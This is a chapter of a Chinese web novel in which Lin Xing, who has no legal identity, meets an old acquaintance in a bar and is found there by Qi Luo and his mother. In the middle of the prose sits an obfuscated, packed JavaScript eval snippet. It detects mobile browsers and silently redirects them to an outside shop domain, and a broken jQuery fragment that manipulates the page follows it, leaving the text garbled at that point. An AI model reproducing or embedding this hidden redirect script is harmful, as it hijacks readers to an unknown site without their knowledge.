“你这身份信息……是不是有误?”便利店老板推了推鼻梁上的黑框眼镜,仔细打量一番,“数据库显示查无此人?”
林星听到对方这样说,立刻反应过来发生了什么——原来他竟连办身份证都是骗她的!
她连忙含糊过去:
“可能是证件到期了,抱歉,我更新之后再来。”
说着,不顾老板在后面还说了些什么,转身逃了。
黑户,她依旧是黑户!
林星身无分文,全部家当只有一份□□,还有从有意识起就穿在身上的不合身的衬衫,以及那双祁洛送她的小白鞋——她自己的鞋不知道是被他丢了还是藏起来了,总之没找到。
如果身份证不能用,她以后岂不是只有打黑工的选择!?
不,不对,冷静思考一下,林星,你不是黑户,你只是出事了,政府误以为你死了——只要再去一趟政府大楼,就可以重办的!
就算没有终端导航,顶多麻烦一点,只要肯问路,总能找到地方的!
今天是周五,明后天政府部门不上班,她还必须想办法度过这两天,到周一再去办理手续。
林星垂着头,边理现状,边慢吞吞走在路边,不知不觉,身周气氛变得嘈杂起来,霓虹灯氛围也为之一变。
林星猝然回神抬头四顾,自己不知不觉走进了一条热闹街区,路边多是酒吧、迪厅,霓虹招牌孔雀开屏般夸张,晃得人眼花缭乱,光听里面传来震天响的音乐声,就能想象到会是怎样群魔乱舞的场面。
“美女,一个人吗?”
有不认识的小哥向她搭讪。
她往后退了一步,下意识按住口罩,匆匆别过脸:
“我走错了。”
小哥见她打扮也不像是有钱人,便也不再纠缠,去寻找下一个目标了。
她想转身原路返回,谁知匆匆走了几步,就又被一个相貌英俊的男人缠上了:
“美女,有空吗?”
林星低着头,想快速从他身边走过,谁知那人却拦在了她面前,语气有些焦急:
“一起喝一杯,可以吗?”
林星依旧是摇头,把头埋得更低。
那男人匆匆跟上几步,指向不远处的酒吧:
“美女,我在那里工作,已经很久没开单了,再拉不到客人,老板要炒我鱿鱼的。就当日行一善,嗯?”
林星没有给他多余的同情心——她自己都还没找到工作,今晚的住处也没有着落,而且还身无分文,饥肠辘辘实在没有余裕去同情任何人。
她怕男人再纠缠,抬起头试图坚决拒绝:
“我没有钱,而且也没有——”
话语卡在半路。
她盯着眼前这个打着耳钉、染着金红挑染发的男人,不可置信地轻声问:
“艾萨克哥哥?”
……
第二日一大早,祁家老宅管家估摸着平日里祁洛早起晨练的时间,便给他打了个电话:
“二少爷,老爷关心您昨晚没有按时回到老宅,想知道您今日是否会来。”
祁洛找了一晚上人,正心浮气躁,但面对祁家人,还是克制住了自己的狗脾气:
“临时有事,没办法去了。”
管家顿了顿,从他的语气里察觉到了微妙的不同:
“是很棘手的事情吗?是否需要帮助?”
祁洛顿了顿。
他不能告诉任何人林星的存在。
所以即使是找人,也不能大张旗鼓。
陆觉那边已经找了几个心腹,暗中走访调查沿路监控了。
效率比较低,但好在可靠,在如今这个天网完善的年代,只要有点人脉,找人并不难。
于是他答道:
“暂时不用。如果有需要的话,会联络你们。”
管家恭敬道:
“明白了,我会如实传达您本周不能回家的原因。”
祁洛挂了电话,坐在车里按着额角,长吁一口气。
身边女人凉凉道:
“看来他对你不错,才一晚上没回家,就巴巴地差人来问。”
祁洛没心思理她,接完电话,再次启动车辆。
女人的手腕被手铐铐在安全带上,行动上不太受限制,但却毫无疑问必须和祁洛绑在一起。
她打了个哈欠:
“你都找一晚上了,你不睡,总不能也不让我睡吧?你们年轻人能熬夜,我上了年纪,可熬不起。”
“简墨!如果不是你对她说了什么,她又怎么会走!?”祁洛双目微微泛着血丝,强压怒火,“而且我说过了,我给你交保释金,是为了让你安生待在家里等待提审,你为什么要跑出去?”
他能做的都已经做了,他夹在尴尬的生母和生父之间,已经仁至义尽了。
自问没有人能比他做得更好了。
可这个恋爱脑的女人,为什么还是要给他添麻烦!?
“闷得慌嘛。至于你觉得我对她说了什么……这就纯粹是冤枉人了。我怎么会逼走自己的准儿媳呢?”
“你在胡说些什么!?”祁洛几乎是瞬间否定,眉头皱得死紧,好像皱得越紧,否定的力度就越大一般,“她只是我的一个同事,情况特殊,我才把她带回来照顾,我和你这种没了爱情就会死的……不一样!”
他胸口起伏不定,终究还是没有对母亲说出难听的话。
“不是爱情?”简墨轻描淡写地撕破了他的粉饰太平,“不是爱情,你找人找一晚上?不是爱情,你为了提神,刚才下车去灌了一整罐最苦的黑咖啡?不是爱情,你这几天,天天往人家那里跑?你不知道家里无线网连接大数据,你搜到的东西也会推送给我?要我念一念购物平台给我推的东西吗?”
祁洛脸色青白,只见简墨举起终端,当真开始一条一条念叨:
“女孩子喜欢的零食……女孩子喜欢的礼物……高奢女装……加拿大无毛猫……猫毛过敏的防治办法……”
真正的亲妈,不会给儿子留一点情面。
“够了!”祁洛一把摁下她的终端,勉强维持着最后的体面,“是张妈……张妈的儿子有女朋友了,她帮她儿子搜的吧。我回去说说她,不要用家里的网搜奇奇怪怪的东西。”
简墨一脸无所谓的样子,得到了想要的答案,便轻飘飘放过了他:“好好好,是是是。哎,前面停下,我有事要办。”
这个可怕的话题总算被揭过,祁洛脸色已经极其难看,但还是靠边停车,绕过来开车门,解了她的手铐,警告道:
“不要想跑。除非你想轻罪重罚。”
“知道啦知道啦,我只是来拿一下落在前同事店里的东西,这不正好路过嘛。”她看了眼时间,“早上六点,她应该刚下班。”
祁洛紧跟着她,随着目的地的明了,他脸色越来越差——
这竟是一家酒吧。
她有什么东西,能落在这种地方?
又为什么,会来这种地方?
不知是不是不负责任的妈留下的童年阴影,祁洛在有记忆的半辈子里,活得十分自律勤勉,誓要从生活习惯上就和她划清界限。
他除了被这个倒霉的妈连累,去过杨柳楼外,其余时间都极其洁身自好,对酒吧、舞厅、会所等地点避如蛇蝎,古板得像个苦行僧。
好在他的家世背景足够重量级,连他不喝咖啡这点小事都会被举办方正经写在设宴要求上,想巴结他的人更是如过江之鲫。
因此,宴请他的人一般都会投其所好,极有眼色地把地点定在正经高端的酒店,请来陪酒的也多是端庄大气的女性类型,大家都夹着尾巴演出一张君子面皮,没人敢当着他的面上演声色犬马。
而如今,她的生母,堂而皇之地领着自己的亲生儿子走进了一家……
很明显区别于清吧的酒吧。
唯一照明——紫红色迪斯科球,还在天花板上旋转,把闪亮细碎的光投射到每个阴暗角落。舞台上已经没了人,电吉他摔在一边断了弦,好像发生过小规模械斗。
零星几个还未尽兴的客人瘫在卡座或吧台上烂醉如泥,满地都是饮料罐、彩带和碎纸屑,间或丢着几个用过的人类幼崽嗝屁袋。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14305150|150293||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
也许是昨天是周五的关系,社畜们都选择了来这里放飞自我,因此一夜过去,酒吧尤其凌乱,满负荷运行了一整晚,连吧台后面的酒保都在趴着睡觉。
祁洛几乎是走进这里的一瞬间就僵住了。
在跟进去防止简墨逃跑,和守在外面之间,他脸色铁青地选择了后者:
“拿完就快点出来。”
“知道了。”
简墨摆了摆手,一脚踢开易拉罐,往里走去。
祁洛视线紧盯着她的背影,没有注意到一边卡座上,有个背对着他的身影正低着头,陷在沙发里,任由那个名叫艾萨克的男人半跪下来,替她受伤的手指包扎。
艾萨克边包扎边心有余悸:
“之前太危险了,他们都打起来了,你还往上凑,真不要命了?你以前那么机灵,闻到味儿不对,跑得比谁都快,怎么现在反而成了个傻孢子?”
女孩弱弱地反驳:
“我不是傻孢子……”
离得太远,祁洛只恍惚听到了说话的声音,却没在意是谁。
他的注意力还放在警惕简墨逃跑上,只见对方跟酒保说了几句话,那酒保便从酒柜下面取出一个塑料袋,里面包着的似乎是衣物。
简墨轻巧回身,向着祁洛走来,走近了,扬了扬手中袋子,解释道:
“上次来不小心吐了一身,朋友替我洗了。”
祁洛表情已经麻木,冷着脸道:
“知道自己会吐,为什么还要喝那么多?你是个成年人,能不能对自己的酒量有点数?”
“人生在世,不就是——浪得一日是一日?”简墨见他生气,笑得更加开心,“你别板着个脸了,跟你爸一模一样,再过几年,你就长成他那样的老古董了。哎,可惜他不肯见我,不然我要当面嘲笑他的儿子被他养成了这样。”
“你——”祁洛刚想说些什么,耳畔就飘来熟悉的声音:
“我那时候是看到有个女孩子差点要被打到,才去帮忙的,你放心,我伤得不重的,过几天就好啦。”
他蓦地回眸,视线牢牢锁住卡座后面的人。
那人只有一张后脑勺对着他,黑色齐肩短发柔顺光亮,发梢不知是不是自己处理的,有些长短不一,算不上齐整,但也能夸一句别致。
是整个首都都找不到第二个的,独一无二的发型。
他没有打草惊蛇,只是抬手示意简墨噤声,沉沉看向那边。
简墨可不是他的部下,没义务听他的,见他连架都忘了吵,便也将视线投过去,随即了然,意味不明地“嗯?”了一声。
只听女孩继续道:
“哎呀好啦,艾萨克哥哥,我这不是没事吗?而且多亏了我救了你们老板,她答应我不炒你鱿鱼啦,我是不是超有用的?”
只听一道磁性沙哑的男声低笑,听得人骨头发酥:
“我们星星超棒的,棒死了。一会儿请你吃早餐,随便点。”
“好耶!”
随即,林星又压低声音问:
“不过你们老板为什么说看我眼熟啊?”
“不知道,听说她本职不是酒吧老板,可能还有别的工作吧,你说不定在别的地方见过她。”
“哦……”林星刚要说话,就被一道高大身影笼罩。
酒吧内光线昏暗,她一开始没认出来,还是迎面袭来的木质香叫她恍惚想起来这人是谁。
脸色突然煞白,她下意识捏住艾萨克的衣袖,要往他身后躲。
祁洛眸色如墨,视线在二人身上转了一圈,定定地锁住躲在艾萨克身后的女孩:
“他是谁?”
林星本能地不愿在他面前提及贫民窟那些遥久的记忆——那些看到艾萨克的瞬间,回笼些许的记忆,于是紧抿着唇,不说话。
她又往人身后躲了躲。
这下祁洛彻底被激怒了,找了人一晚上的疲惫、愤怒、心焦,以及见到她跟别人在一起时的放松和愉快,再联想到她这几天面对自己时刻意的闪躲与疏离,还有不着调的亲妈火上浇油了一路——
轰的一声,理智燃尽。